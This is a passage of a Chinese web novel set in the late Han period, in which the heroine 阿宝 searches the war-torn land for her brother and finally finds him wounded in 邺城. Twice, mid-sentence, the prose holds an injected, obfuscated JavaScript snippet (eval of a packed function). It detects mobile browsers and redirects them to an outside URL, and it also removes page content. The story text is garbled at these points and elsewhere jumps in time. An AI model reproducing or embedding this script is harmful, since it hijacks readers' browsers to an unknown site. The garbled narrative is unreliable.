我绣了幅《羌汉和睦图》,羌人牧马,汉人耕田,孩童嬉戏,其乐融融。尔甲看了都赞叹:“像真的似的!” 太尉府侧门,我递上绣品,门房起初不耐,见绣工精致,才通报内院。 片刻,个嬷嬷出来,打量我一番:“小娘子绣的?” 我低头应道:“是。听闻夫人喜好陇西绣品,特来献艺。” 嬷嬷仔细看绣图,点头:“倒是别致。等着,我禀报夫人。” 我心怦怦跳。若得夫人赏识,或能打听阿兄消息。 然而嬷嬷回来时面色冷淡:“夫人说绣工尚可,但题材不合时宜。赏钱拿去吧。” 希望落空。我却不甘心,试探问:“嬷嬷可知府上是否有位陇西口音的冯姓护卫?他妹妹托我带话...” 嬷嬷顿时变脸:“休得胡言!府中无此人!快走!”说罢砰地关门。 吃闭门羹,我却更确信阿兄在此——若无此人,何必如此紧张? 尔甲建议:“或可打听府中采买之人,许能套话。” 于是我们连日守在太尉府外,观察出入人等。发现个老厨娘每日清早出府采买,常与菜贩闲聊。 我扮作卖花女,接近老厨娘:“嬷嬷,买枝杏花吧,新鲜着呢。” 老厨娘瞥我一眼:“去去去,府中哪有余钱买花。” 我赔笑:“嬷嬷说笑了。太尉府高门大户,还在乎这点小钱?” 老厨娘哼道:“高门大户?如今都啃麸皮了!昨日宴客,连只整鸡都凑不出...” 她絮叨着府中窘迫,我趁机问:“听闻府上有位陇西口音的冯队率,护驾有功,想必待遇不同吧?” 老厨娘顿时警觉:“什么冯队率?不认得!”挎着菜篮匆匆离去。 又失败。但我们不气馁,继续蹲守。 三日后,转机出现。太尉府侧门抬出个伤兵,面色苍白,左臂包扎,却不是阿兄。 我心中一动,尾随抬人的兵士到伤兵营。 等兵士离开,我上前照料那伤兵,递上水囊:“军爷,喝口水吧。” 伤兵感激接过,喘息道:“多谢小娘子...” 我故作随意:“军爷是太尉府的?我有个同乡也在府中当值,叫冯栋,陇西人,可认得?” 伤兵眼神一闪,压低声音:“冯队率?他...他不在府中了。” 我心一沉:“去哪了?” 伤兵四下张望,声音更低:“上月调去翊军校尉部了。具体不详,只听说...听说涉及什么机密...” 还要再问,医官来巡房,我只得离开。 翊军校尉部?那是皇宫卫队,阿兄怎会调去那里? 回客栈与尔甲商量,他也觉得蹊跷:“皇宫戒备更严,如何打听?” 正发愁时,客栈掌柜插话:“小娘子找翊军校尉部的人?巧了,今日有个校尉部下值来打酒,常坐那桌。”指指角落。 我们如获至宝,守株待兔。 傍晚,果然来个军官打扮的人,面色疲惫,要了壶浊酒独饮。 我鼓起勇气上前:“军爷可是翊军校尉部的?小女子有事相询。” 军官瞥我一眼:“何事?” “请问部中可有个叫冯栋的队率?陇西人,左边眉梢有疤。” 军官手中酒杯一顿,打量我:“你是他什么人?” “我是他妹妹,从汉中来寻亲。” 军官沉吟片刻,低声道:“冯队率确曾在此,但半月前调去美阳了。” 美阳!又是美阳!那地方仿佛诅咒,总与我的亲人纠缠不清。 “为何调去美阳?”我急切问。 军官摇头:“军务机密,不便透露。”说罢扔下酒钱离去。 线索又断。美阳如今是两军对峙的前线,危险重重。 尔甲劝我:“既是军务调动,想必无恙。不如先回汉中,从长计议。” 但我怎能放心?美阳战场,尸骨成山,阿兄去那里凶多吉少。 犹豫再三,我决定去美阳。尔甲叹道:“就知道劝不住你。” 我们再次北上。越近美阳,气氛越紧张。官兵设卡盘查,流民被驱散,战云密布。 至美阳城外,根本无法接近。两军对峙,箭弩张,偶尔有零星空战。 我们只能在附近村庄打听。村民大多逃亡,十室九空。 偶遇个老樵夫,听说找西凉军的人,摇头道:“别找了。上月大战,西凉军败退,死的死,俘的俘,没几个活的。” 我心如刀绞,仍不死心:“可知俘虏关在哪?” 老樵夫指指东面:“听说押往渑池了。但劝你别去,那里...唉...” 渑池!那是更往东的方向,已近中原。 尔甲面色凝重:“渑池太远,且是曹操地界,去不得。” 但我怎能放弃?阿兄可能还活着,可能就在渑池! “我要去。”我坚定道,“尔甲,你回羌村吧,不必陪我涉险。” 尔甲瞪我:“说什么话!阿爷让我护你周全,岂能半途而废?” 于是我们继续东行。路上战乱更甚,到处是溃兵流寇,不得不昼伏夜出。 干粮将尽时,终于抵达渑池地界。这里刚经历大战,城外设有关押俘虏的营区。 我们假称寻亲,接近营区。守营兵士盘查甚严,根本不让靠近。 “每日死那么多,哪记得名字?”兵士不耐烦道,“去那边坟场找吧!” 顺着他指的方向,我们看到大片新坟,木牌林立,望不到头。 尔甲拉住我:“别去...看了难受...” 但我挣脱他,一步步走向坟场。必须确认,阿兄不在其中。 坟场弥漫着尸臭,乌鸦盘旋,野狗啃食。我强忍恐惧,一个个查看木牌。 冯姓不多,但有几个。每个冯姓木牌都让我心惊肉跳,生怕看到阿兄的名字。 日落时分,几乎查看完所有坟冢,没有冯栋。我稍松口气,却更迷茫——阿兄到底在哪? 回营地途中,遇到个运尸的老兵。我上前打听,递上最后一块饼子。 老兵狼吞虎咽吃完,抹嘴道:“冯栋?听着耳熟...哦!是不是那个高个子,左眉有疤的?” 我激动点头:“正是!军爷可知道他下落?” 老兵叹气:“可惜了。那小子是条好汉,被俘时不降,挨了三刀还站着。后来...后来被曹操的人带走了。” 曹操!如今势力最大的军阀! “带去哪了?”我急切问。 老兵摇头:“说不准。许昌?邺城?大人物的事,咱哪知道。” 线索再次指向远方。许昌、邺城,那都是千里之外的中原腹地。 尔甲面色凝重:“阿宝,不能再往东了。那是曹操地界,我们羌人过去太危险。” 我知他说得对。乱世之中,羌汉隔阂甚深,尔甲随我去中原确实冒险。 但让我放弃寻找阿兄,实在不甘。 犹豫之际,尔甲忽然道:“或许...或许我阿爷有办法。他认识些走中原的商队,或可托人打听。” 这倒是个主意。老村长见多识广,或许真有门路。 于是我们折返羌村。老村长听说经过,捻须沉吟:“曹操地界...倒是有条商路,但风险极大。” 他告诉我们,有支羌汉混合的商队常走陇西-中原线路,领队叫俄何,是他旧识。 “俄何精明可靠,或可托他打听。”老村长道,“但需等下次商队归来,约莫月余。” 我只能按下焦急,在羌村等待。每日帮羌妇干活,学习羌语,听他们讲述羌人传说。 尔甲常带我上山采药,指认各种草药功用。他说羌人医术与汉人不同,更重自然疗愈。 “这是止血草,这是退热花...”他如数家珍,“阿爷说,医者仁心,不分羌汉。” 我想起伤兵营的小草,深有同感。 月余过去,商队仍未归来。我日渐焦虑,夜不能寐。 一夜,又梦见阿兄。他在黑暗中奔跑,浑身是血,回头喊:“阿宝快逃!” 惊醒后冷汗涔涔,不祥预感萦绕心头。 次日,我求老村长:“不能再等了。我想自己去许昌。” 老村长摇头:“孩子,中原路远,兵荒马乱,你如何去得?” 正争执时,尔甲匆匆跑来:“商队回来了!但...但损失惨重!” 我们赶到村口,只见商队残破,人马稀少,个个带伤。 领队俄何左臂包扎,面色沉痛:“路上遇乱兵,货丢了,人也没了一半...” 待他稍事休息,我上前打听阿兄消息。 俄何听说找西凉军俘虏,摇头道:“小姑娘,劝你死心吧。曹操对待俘虏...唉,没几个能活的。” 我心一沉:“为何?” “要么充军前锋,要么充作苦役,都是送死的活。”俄何叹道,“尤其是西凉军的,更没好下场。” 最后一线希望破灭。我怔在原地,浑身发冷。 俄何有些不忍,又道:“不过...上月我在许昌,倒听说件奇事。有个西凉军俘虏武艺高强,被曹操看中,收为亲兵...” “可知姓名?”我急切问。 俄何摇头:“只听说姓冯,使长枪,左眉有疤。” 是阿兄!定是阿兄! 峰回路转,我激动得语无伦次:“他...他在许昌?” “应是。但曹操亲兵,外人根本见不到。”俄何道,“小姑娘,听我一句劝。即便真是你兄长,如今在曹操麾下,相认反害了他。” 如冷水浇头。是啊,若阿兄真在曹操帐下,我贸然相认,岂不坐实他与西凉军的关系? 乱世之中,一步踏错便是杀身之祸。 我失魂落魄回到房中,对着阿父留下的桃木梳发呆。 “阿父,阿宝该怎么办...”我喃喃自语,“明知阿兄可能活着,却不能相认...” 尔甲轻声劝道:“至少知道他还活着,而且得曹操赏识,应是好事。等风头过去,再找机会不迟。” 老村长也道:“孩子,乱世求生不易。你兄长既得机遇,莫要因小失大。” 道理我都懂,但心中酸楚难以言表。历尽千辛万苦,终于有了阿兄消息,却只能遥望不得相认。 那夜,我独坐村外山坡,望向东面星空。许昌应在那个方向,阿兄就在某颗星辰之下。 “阿兄,保重。”我轻声道,“阿宝会等你平安归来。” 羌笛声起,悠远苍凉,如泣如诉。 “春风摇,那个柳叶俏,燕子点水绕...”我不自觉哼起童谣,泪流满面。 尔甲默默走来,递上件羌袍:“天凉了,回吧。” 我擦泪起身,最后望一眼东方。 回到羌村,我大病一场,高烧三日,胡话不断。老村长亲自采药诊治,尔甲日夜守护。 病中,我常梦见家人。阿母蒸糕,阿父教书,阿兄练剑...醒来却只剩空荡羌帐。 病愈后,我决定回汉中。既然暂时不能与阿兄相认,留在羌村也无益。 老村长理解我的决定,让尔甲送我回郑家庄。 临行前,他赠我羌族护身符:“孩子,记住:无论羌汉,都是天神的子民。愿天神保佑你找到家人。” 我郑重谢过,与尔甲踏上归途。 回程路上,我沉默许多。尔甲试图逗我开心,讲羌族笑话,唱羌族情歌。 我勉强笑笑,心中却想着阿兄。他在许昌可好?可还记得故乡?可曾梦见过阿宝? 路过陈仓时,我们遇到队西凉溃兵,抢掠百姓。尔甲护我躲藏,目睹惨状。 “为何要互相残杀...”我颤声问,“都是苦命人...” 尔甲沉默片刻,道:“阿爷说,饥饿让人变成野兽。” 是啊,乱世之中,人能活下来已是不易,哪还顾得上仁义道德。 但我想起阿母的话:“越是乱世,越要守住本心。” 回到郑家庄,众人见我平安归来,欣喜万分。赵媪抱着我哭:“瘦了!又瘦了!” 郑公听说阿兄消息,抚须道:“在曹操麾下未必是坏事。乱世之中,能得赏识便是机遇。” 我稍感宽慰,但仍难释怀。 日子回到从前。我教孩子们识字,帮赵媪干活,与郑姝绣花。但心中总缺了一块,空落落的。 每逢月圆,我总望向东面,默默祈祷阿兄平安。 有时收到尔甲捎来的羌村消息,却再无阿兄音讯。他就像投入大海的石子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530069|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,消失在中原的纷乱中。 建安三年冬,汉中落雪。我站在庄口,看雪花纷飞,想起渭南那个葬下阿父的雪天。 三年过去了,我找到了阿兄,却不得相见。阿母依旧下落不明。 “阿母,你在哪...”我对着飞雪轻语,“阿宝好想你...” 雪中仿佛传来阿母的歌声:“月亮照不到啊我的小阿宝...” 我泪如雨下。 郑姝寻来,为我披上斗篷:“阿宝姐,回屋吧,莫着凉。” 我擦泪转身,最后望了一眼雪中东路。 乱世茫茫,亲人离散。十五岁的阿宝,在等待中渐渐长大。 而寻找的路,还在继续。永远继续。 建安二年的羌村之夜,火光在帐中跳跃,映照着俄何疲惫而沧桑的面容。他啜了一口马奶酒,继续讲述中原见闻。 “曹操如今挟天子以令诸侯,势头正盛。”俄何道,“听说去年迎献帝于许昌,如今朝廷政令皆出曹氏之手。” 我忍不住问:“那...其他诸侯呢?江东孙氏,河北袁氏?” 俄何有些惊讶地看我一眼:“小娘子倒是关心天下大势。”他继续道,“孙策在江东势头很猛,人称‘小霸王’,听说已据有吴会之地。其弟孙权年少,但据说也很了得。” “那...刘备呢?”我想起在伤兵营听过的名字,“就是那个号称汉室宗亲的?” 俄何嗤笑一声:“刘备?颠沛流离之辈耳。先依公孙瓒,后投陶谦,陶谦死又附吕布。如今...”他想了想,“听说在曹操麾下混个虚职,整日种菜韬光养晦。” 帐外风声呜咽,尔甲添了根柴火,火光噼啪作响。 “关中有何消息?”老村长更关心近况。 俄何面色凝重:“李傕郭汜内讧,两军在长安附近交战,百姓遭殃。马腾韩遂时而联合时而相攻,凉州乱成一锅粥。” 他顿了顿,压低声音:“最惨的是百姓。董卓乱时,洛阳迁往长安的百姓数十万,如今十不存一。不是死于战乱,就是饿死疫死。” 帐中一片沉默。我想起长安街头的惨状,胃里一阵翻搅。 “听说...”俄何声音更低,“人相食已不鲜见。有易子而食的,有掘坟食尸的...简直人间地狱。” 赵媪给我的那块糖糕突然在怀中变得沉重。乱世之中,一口吃食就是一条性命。 “朝廷不管吗?”尔甲问。 俄何冷笑:“朝廷?献帝自身难保。曹操虽挟天子,但重心放在对付袁绍吕布,哪顾得上关中百姓。” 老村长长叹:“苦的都是黎民百姓啊。” 那夜我久久不能入眠。帐外风声如泣,仿佛无数冤魂在哭诉。 原来在这乱世,英雄辈出,诸侯争霸,但百姓的苦难从未改变。阿兄即便在曹操麾下,也不过是乱世中的一枚棋子。 次日,我向俄何详细打听许昌情况。 “许昌如今是曹操大本营,守卫森严。”俄何道,“尤其是曹操的亲兵营,据说在城西禁苑,外人根本接近不了。” 他看我一眼:“小娘子,听我一句劝。即便你兄长真在曹营,也莫要贸然相认。曹操多疑,若知你兄长与西凉军有旧,恐生变故。” 我心中凛然。是啊,乱世之中,一步踏错便是万劫不复。 “那...该如何是好?”我问。 俄何沉吟片刻:“若真欲打听,或可托商队捎信。我在许昌有相识的驿丞,或可代为转交。但能否送到,全看天意。” 一线希望。我急忙修书一封,简单说明身份,询问阿兄近况,却不敢提及太尉府等敏感事由。 “切记,若回信,万不可直接寄到汉中。”俄何嘱咐,“可寄到羌村,由我转交。” 我感激不尽,将身边最后一点值钱物件——郑姝送的银簪——赠予俄何作为酬谢。 俄何推辞不过,收下道:“小娘子放心,俄某定当尽力。” 等待回信的日子漫长而煎熬。我留在羌村,每日帮羌妇干活,学习羌语医术,心却飞到了千里之外的许昌。 尔甲常带我上山,指认草药,讲述羌族传说。他说羌人信仰天神,认为万物有灵。 “阿爷说,战死的人会变成鹰,守护活着的人。”尔甲指着一只盘旋的山鹰,“说不定你阿父阿母也在看着你呢。” 我望着苍鹰,心中稍感慰藉。 一月后,商队再次出发前往中原。我目送他们远去,祈祷信件能平安送达。 又两月过去,商队归来,却带来坏消息:许昌戒严,信件无法送达。 “曹操正与张绣交战,听说折了长子曹昂和爱将典韦。”俄何道,“全城戒备,外人根本进不去。” 希望再次落空。我怔在原地,如坠冰窟。 尔甲安慰道:“至少知道你兄长应当安全。曹操既用他,必会保全。” 老村长也劝:“乱世消息不通是常事。或许过些时日就有转机。” 我只能强打精神,继续等待。 建安三年春,我决定先回汉中。在羌村虽好,但终究不是长久之计。 临行前,老村长赠我一本羌药图谱:“孩子,你于医术有天分,望你善用此技,救人苦难。” 尔甲坚持送我回郑家庄。路上,他告诉我一个秘密:“阿爷说,若你真想去中原,或可扮作羌医。中原战乱频仍,医者总是受欢迎的。” 我心中一动。这倒是个办法。若我能以医者身份行走中原,或许真能接近许昌。 回到郑家庄,众人见我归来,欣喜异常。赵媪摸着我的脸哭道:“瘦了!羌地的风沙怎这般厉害!” 郑公听说经过,沉吟道:“学医倒是条正路。庄中正好缺医者,你可先在此练习,待技艺纯熟,再图后续。” 于是我在郑家庄安顿下来,白日学习医术,帮庄中人看病,晚间研读羌药图谱。 郑家庄有个老郎中,姓华,听说我曾在前线伤兵营帮忙,便倾囊相授。 “医者父母心。”华郎中说,“无论贵贱羌汉,皆当一视同仁。” 我铭记在心,刻苦学习。或许有朝一日,真能凭此技行走中原,寻找阿兄。 期间,偶尔有关中消息传来。听说曹操大败袁术,吕布夺徐州又失徐州,刘备投曹操又叛曹操...天下大势,变幻莫测。 每当听到许昌消息,我总会格外留意,但再无阿兄音讯。 建安四年冬,汉中大雪。我站在庄口望向东面,许昌应在那个方向。 “阿兄,你还好吗?”我对着风雪轻语。 风中仿佛传来回答:“阿宝...活下去...” 泪眼朦胧中,我仿佛看见阿兄身影,披甲持枪,立于风雪之中,目光坚毅。 “我会活下去。”我擦泪坚定道,“也会找到你。” 雪愈下愈大,覆盖了道路,覆盖了远山,却覆盖不了心中的希望。 乱世茫茫,前路漫漫。十六岁的阿宝,在医术中找到了新的方向。 而寻找亲人的路,将以另一种方式继续。 12. 帝都阴影 建安五年的春天,我再次踏上前往长安的路。这次不是寻找阿兄,而是作为郑家庄的医者,前往采购药材。 尔甲依旧相伴,还有华郎中的徒弟阿青同行。我们带着郑公的亲笔信,投奔长安城西的药材商郑氏——郑公的远房族亲。 长安城比三年前更加破败。城墙多处坍塌,街市萧条,行人面带菜色,步履匆匆。唯有董卓旧部——如今李傕、郭汜的兵马——依旧耀武扬威,驰骋街头。 “听说皇帝都吃不饱。”郑氏药铺的掌柜低声道,“昨日宫中来采购,连三副补药的钱都凑不齐。” 我心中凄然。大汉帝都,竟沦落至此。 我们在药铺安顿下来。白日里,我帮掌柜辨识药材,学习炮制之法;晚间则研读医书,与阿青探讨医术。 偶尔外出采买,总能见到兵士抢掠,百姓哭嚎。乱世之中,人命如草芥。 一日,我在西市采购时,忽见一队兵马疾驰而来,百姓纷纷避让。为首的是个肥胖将领,满脸横肉,正是郭汜。 “滚开!挡路者死!”兵士鞭打躲闪不及的百姓。 我急忙退到巷中,却见个老妇躲闪不及,被马蹄踏倒,惨叫一声便没了动静。 兵马来去如风,留下老妇尸首和百姓的啜泣。 “造孽啊...”旁边老翁叹息,“这已是本月第三起了。” 我上前查看老妇,早已气绝。心中悲愤难平,却无可奈何。 回到药铺,我将见闻告诉掌柜。掌柜苦笑:“这算什么?上月李傕郭汜内讧,在城中交战,死伤数千。尸体堆在城外烧了三天三夜。” 乱世之中,百姓如蝼蚁。我越发坚定学医的决心——至少能救一个是一个。 数日后,药铺来了个特殊客人——是个宫中内侍,面色焦急,要采购大量金疮药和止血散。 “宫中谁受伤了?”掌柜多嘴问了一句。 内侍瞪他一眼:“不该问的别问!”扔下钱币匆匆离去。 我心中一动:宫中采购金疮药,莫非有变故? 晚间与尔甲说起此事,他低声道:“听说李傕郭汜又起争执,恐怕又要兵戎相见了。” 果然,次日长安戒严,街市紧闭。我们被困药铺,只听城外杀声震天,整整持续了一日一夜。 第三日,戒严解除。我们才知李傕郭汜再次内讧,郭汜劫持公卿,李傕劫持皇帝,双方在城中混战。 “快!帮忙救人!”掌柜急呼。城中伤者无数,药铺成了临时医所。 我与阿青日夜不休,救治伤者。大多是平民,被流矢所伤,或被兵马践踏。 有个少女伤重不治,死前喃喃唤着“阿母”。我握着她逐渐冰冷的手,想起阿禾,泪如雨下。 “阿宝,歇会儿吧。”尔甲劝我,“你已经两天没合眼了。” 我摇头,继续为下一个伤者清洗伤口。唯有忙碌,才能暂时忘却痛苦。 第三日傍晚,伤者稍减。我正揉着酸痛的手腕,忽见个熟悉的身影搀着个伤者进来——竟是王允! 他比三年前苍老许多,衣衫褴褛,但眼神依旧锐利。 “王...”我险些脱口而出,急忙改口,“先生,这边请。” 王允看到我,眼中闪过一丝惊讶,随即恢复平静:“有劳小娘子。” 我为他带来的伤者处理伤口——是个年轻文士,肩部中箭,失血过多。 处理伤口时,王允低声道:“没想到在此重逢。你如何来了长安?” 我简略说明情况,反问:“先生呢?听说您...” 王允苦笑:“说来话长。董卓死后,我本欲重振朝纲,奈何...唉。”他看了眼昏迷的文士,“这是犬子王盖,昨日为护驾受伤。” 我心中一凛。护驾受伤?莫非与昨日宫变有关? 包扎完毕,王允道谢:“多谢小娘子。今日之事...” “先生放心,我什么都不知道。”我低声道。 王允点头,搀着儿子欲走,又回头低声道:“近日长安将有大变,尽早离去为妙。” 我怔在原地。大变?什么大变? 尔甲走过来:“那人是谁?你认得?” 我含糊道:“从前在陇西见过一面。”心中却波涛汹涌。 王允未死!而且似乎在暗中活动!他说的“大变”究竟是什么? 数日后,答案揭晓。听说皇帝在杨奉等人护卫下,成功脱离李傕控制,东归洛阳! “曹操已派兵来接应了。”药铺掌柜道,“这下长安真要变天了。” 我心中一动:皇帝东归,王允现身...难道这一切与他有关? 我想起王允的警告,决定尽快离开长安。 然而就在我们准备行装时,药铺被兵士包围。郭汜部将闯进来,声称搜查叛党。 “昨日有逆党在此治伤!交出来!”部将厉声道。 掌柜吓得面如土色:“军爷明鉴!小铺只治病救人,不敢窝藏逆党啊!” 兵士翻箱倒柜,最终找到王盖换下的血衣——那日匆忙间未及时处理。 “还说没有!”部将狞笑,“全部带走!” 我们被押往大牢。尔甲护在我身前,低声道:“别怕,见机行事。” 牢中阴暗潮湿,挤满了“叛党”。我心中恐惧,却强自镇定。 次日提审,掌柜备受拷打,屈打成招,指认王允曾来治伤。 轮到我了,我咬定只治病救人,不识来人身份。 “嘴硬!”审讯官冷笑,“用刑!” 眼看就要受刑,尔甲突然用羌语大喊:“我是羌族头人之孙!你们敢动我们,羌族必反!” 审讯官愣住。关中局势未稳,羌乱是心头大患,果然不敢妄动。 我们被押回牢中,暂免刑罚。但处境依然危险。 深夜,我难以入睡。忽然,牢门轻响,个狱卒悄悄进来。 “可是冯阿宝?”他低声问。 我警惕点头。 狱卒塞给我一块木牌:“有人托我救你出去。今夜三更,装病呼救。” 我怔怔接过木牌,上面刻着个“允”字。是王允! 三更时分,我依计装病呼救。狱卒来查看时,突然被打晕。几个黑衣人闪入,迅速为我们打开镣铐。 “快走!”为首者低声道,“王大人安排好了。” 我们趁机越狱,在黑衣人掩护下逃出大牢。城外有马车接应,直奔东门。 马车上,我惊魂未定:“诸位是...” “不必多问。”车夫道,“王大人报你当日相助之恩,送你们出城。今后好自为之。” 至东门外,马车停下。车夫递来个包袱:“些许盘缠,速速离去。” 我们下车,马车疾驰而去。打开包袱,除了银钱,还有封信。 “冯姑娘:见信如晤。感谢当日救治犬子。今上东归,汉室有望。然长安将乱,勿再返焉。闻尔兄在许昌曹营,安好。望自珍重。允字。” 我怔怔看着信纸。王允不仅救我,还告知阿兄消息! 尔甲催促:“快走!追兵很快会来!” 我们连夜东行。至天明,已离长安数十里。 回望长安方向,烟尘滚滚,想必已经大乱。想起王允信中所言,心中感慨万千。 乱世之中,每个人都在挣扎求存。王允如此,我如此,阿兄亦如此。 “去许昌吗?”尔甲问。 我摇头:“既然阿兄安好,不必急于相见。先回汉中,从长计议。” 经历此番险境,我深知乱世险恶。若无充分准备,贸然寻兄反会害了他。 数月后,我们回到汉中。郑公听说经历,后怕不已:“幸好平安归来!今后莫再涉险了!” 我口中应允,心中却另有打算。 王允的信让我确信两件事:一是阿兄确实在许昌曹营,二是王允在暗中策划大事。 乱世之中,消息最为重要。若我能建立消息网络,或许不仅能寻亲,还能帮助更多人。 我开始有意识收集各方消息,整理成册。郑家庄南来北往的商队,成了最佳信息来源。 从商队口中,我得知皇帝已至洛阳,曹操迎奉天子于许昌,开始“挟天子以令诸侯”。 王允似乎在洛阳活动,暗中联络忠臣,图谋恢复汉室。 刘备投曹操又叛曹操,据徐州自立。 孙策横扫江东,势不可挡。 天下大势,纷乱如棋。而我的阿兄,就在这棋局中心的许昌。 建安六年春,我决定再去羌村。老村长见识广博,尔甲熟悉羌地,或可助我建立消息网络。 赵媪劝阻:“丫头,安稳过日子不好吗?何必总是冒险?” 我握着她粗糙的手:“媪,这世道,无人能真正安稳。我想做些力所能及的事,或许能帮到更多人。” 郑公叹道:“真是冯安的女儿,一样的倔脾气。”他最终点头,“去吧,但切记安全。” 再至羌村,老村长热情相迎。听说我的想法,他捻须沉吟:“消息网络...倒是可行。羌人商队遍布各地,收集消息不难。” 于是我们在羌村建立第一个消息点。尔甲负责联络各羌族部落,我负责整理分析。 渐渐地,我们收集到越来越多消息:各方势力动向,战事情况,甚至百姓生计。 我特别留意许昌消息。得知曹操与袁绍矛盾加剧,大战在即。阿兄作为曹营亲兵,恐要上前线。 心中担忧,却无能为力。只能默默祈祷阿兄平安。 一日,尔甲带回个惊人消息:王允在洛阳病逝! 我怔在原地。那个救我于危难的长者,就这样悄无声息地走了? “听说是在筹划大事时突发疾病。”尔甲低声道,“遗体已运回故乡太原安葬。” 我面向东方,默默祭拜。乱世之中,又一个忠臣陨落。 王允的死让我更加坚定:要建立更完善的消息网络,或许能避免更多悲剧。 我们逐步扩大网络,联络各地商队、驿卒、甚至退伍兵士。消息越来越灵通,但也越来越危险。 建安七年,我们得知曹操大败袁绍于官渡,奠定北方霸主地位。 “你兄长应该平安。”尔甲安慰我,“曹操大胜,亲兵必得重赏。” 我稍感宽慰,但仍担心。战功意味着更多征战,更多危险。 果然,随后消息传来:曹操继续北伐,征讨袁绍残余势力。 同时,江东孙策遇刺身亡,其弟孙权继位。刘备投刘表,驻守新野。 天下大势渐渐清晰:曹操据北方,孙权据江东,刘表据荆州,刘璋据益州... 而我的阿兄,随着曹操南征北战,离我越来越远。 建安八年冬,我在整理消息时,发现个异常:许昌频繁采购疗伤药材,似是重要人物受伤。 心中不安,托人多方打听。月余后,消息传来:曹操在征乌桓时中箭,亲兵队伤亡惨重! 我手中笔掉落在地,浑身发冷。阿兄...阿兄可在其中? 尔甲急忙安慰:“未必有事。或许只是寻常伤亡。” 但我怎能安心?连夜赶往羌村,托俄何打听消息。 等待的日子度日如年。我日夜祈祷,盼阿兄平安。 终于,俄何归来,面色凝重。 “打听到了。”他沉声道,“曹操确曾中箭,亲兵队拼死护卫,伤亡甚重。有个冯姓队率为护主重伤,据说...据说危在旦夕。” 眼前一黑,我险些晕厥。尔甲急忙扶住我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530070|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哪个...哪个冯队率?”我颤声问。 俄何摇头:“只知姓冯,使长枪,左眉有疤。其他不详。” 是阿兄!定是阿兄! “他...他现在何处?”我急切问。 “据说留在邺城养伤。但...”俄何欲言又止。 “但什么?”我追问。 俄何叹气:“但伤势太重,怕是...凶多吉少。” 我怔在原地,如遭雷击。历尽千辛万苦,终于有了阿兄消息,却是这般结局? 不!我不信!阿兄一定还活着! “我要去邺城!”我坚定道。 尔甲劝阻:“邺城是曹操腹地,戒备森严。况且若真是重伤,必在深宅养治,外人根本见不到。” 但我怎能不去?阿兄危在旦夕,我岂能坐视? 最终,尔甲叹道:“罢了,我陪你走一遭。但答应我,若事不可为,不可强求。” 我含泪点头。 建安九年春,我们再次踏上征途。这次目标明确:邺城。 越往北走,曹操控制越严。关卡林立,盘查严密。我们假称探亲的兄妹,艰难前行。 至邺城地界,果然戒备森严。城外军营连绵,旌旗招展,显示着曹操的势力。 我们不敢贸然进城,先在城外村落打听。 “曹公的亲兵?”老村长摇头,“那都是机密,哪是我们平民能知道的。” 多方打听,终于有个退伍老兵提供线索:“听说有个冯队率,为护主受重伤,安置在城西别院养伤。但守卫森严,根本接近不了。” 城西别院!总算有了具体地点。 我们到城西探查,果然有处宅院守卫森严,不时有医者进出。 “如何进去?”尔甲发愁。 我观察良久,发现每日午时有个老婆婆送菜进去。或许可从此入手。 次日午时,我们拦下老婆婆,假称是其远亲,帮她送菜。 守卫盘查甚严,但见我们是送菜的,也未多疑。 进入宅院,我心跳如鼓。阿兄真的在这里吗? 厨房在偏院,我们放下菜篮,悄悄探查。宅院很大,不知伤者在何处。 突然,个嬷嬷过来:“新来的?正好,把这药送到东厢房。” 我心中一动,接过药盘:“是。” 尔甲想跟来,被嬷嬷喝止:“一人足矣!你留在这帮忙!” 我独自端着药盘,循着指引往东厢房去。心中既期待又害怕,盼见到阿兄,又怕见到他重伤模样。 至东厢房外,守卫查验后放行。室内药味浓郁,榻上躺着个人,浑身绷带,看不清面容。 我小心走近,心跳如鼓。是他吗? 榻上人忽然动了下,发出微弱呻吟。声音嘶哑,却莫名熟悉。 “阿...阿兄?”我颤声轻唤。 那人缓缓睁眼,目光茫然。左眉处,一道疤痕清晰可见! 是阿兄!真是阿兄! 我激动得手发抖,药盘险些落地。 “你...你是谁?”他虚弱地问。 “我是阿宝啊!你的妹妹冯阿宝!”我哽咽道,“我从汉中来寻你...” 他怔怔看我,眼神逐渐聚焦:“阿宝...真是你?”声音颤抖,“我不是在做梦?” 我握住他的手:“不是梦!阿宝找到你了!” 泪水模糊视线。历尽千辛万苦,终于找到了! 然而他下一句话让我如坠冰窟:“阿宝...快走...这里危险...” “为什么?”我不解,“我是来照顾你的...” 他艰难摇头:“曹操多疑...若知你我来历...必生祸端...”说着剧烈咳嗽起来。 我急忙为他抚背,发现他瘦得可怜,显然伤势极重。 “你的伤...”我颤声问。 “箭伤肺腑...怕是...好不了了...”他喘息道,“能再见你一面...死而无憾...” “不许胡说!”我泣不成声,“我会治好你的!我学了医术...” 他微微一笑,抬手想摸我的头,却无力垂下:“阿宝长大了...像阿母...” 提到阿母,我心如刀绞:“阿母她...” “阿母她...”他眼神突然涣散,“城破那日...为护我...中了流矢...”泪水从他眼角滑落,“我亲眼看着她...咽气...” 如晴天霹雳!阿母...早已去世? 我怔在原地,浑身冰冷。最后一线希望,彻底破灭。 “阿父呢?”他急问,“阿父可安好?” 我哽咽难言,只能摇头。 他闭目长叹,泪流满面:“都走了...就剩我们兄妹了...” 正说着,门外传来脚步声。阿兄急道:“快走!被人发现就糟了!” 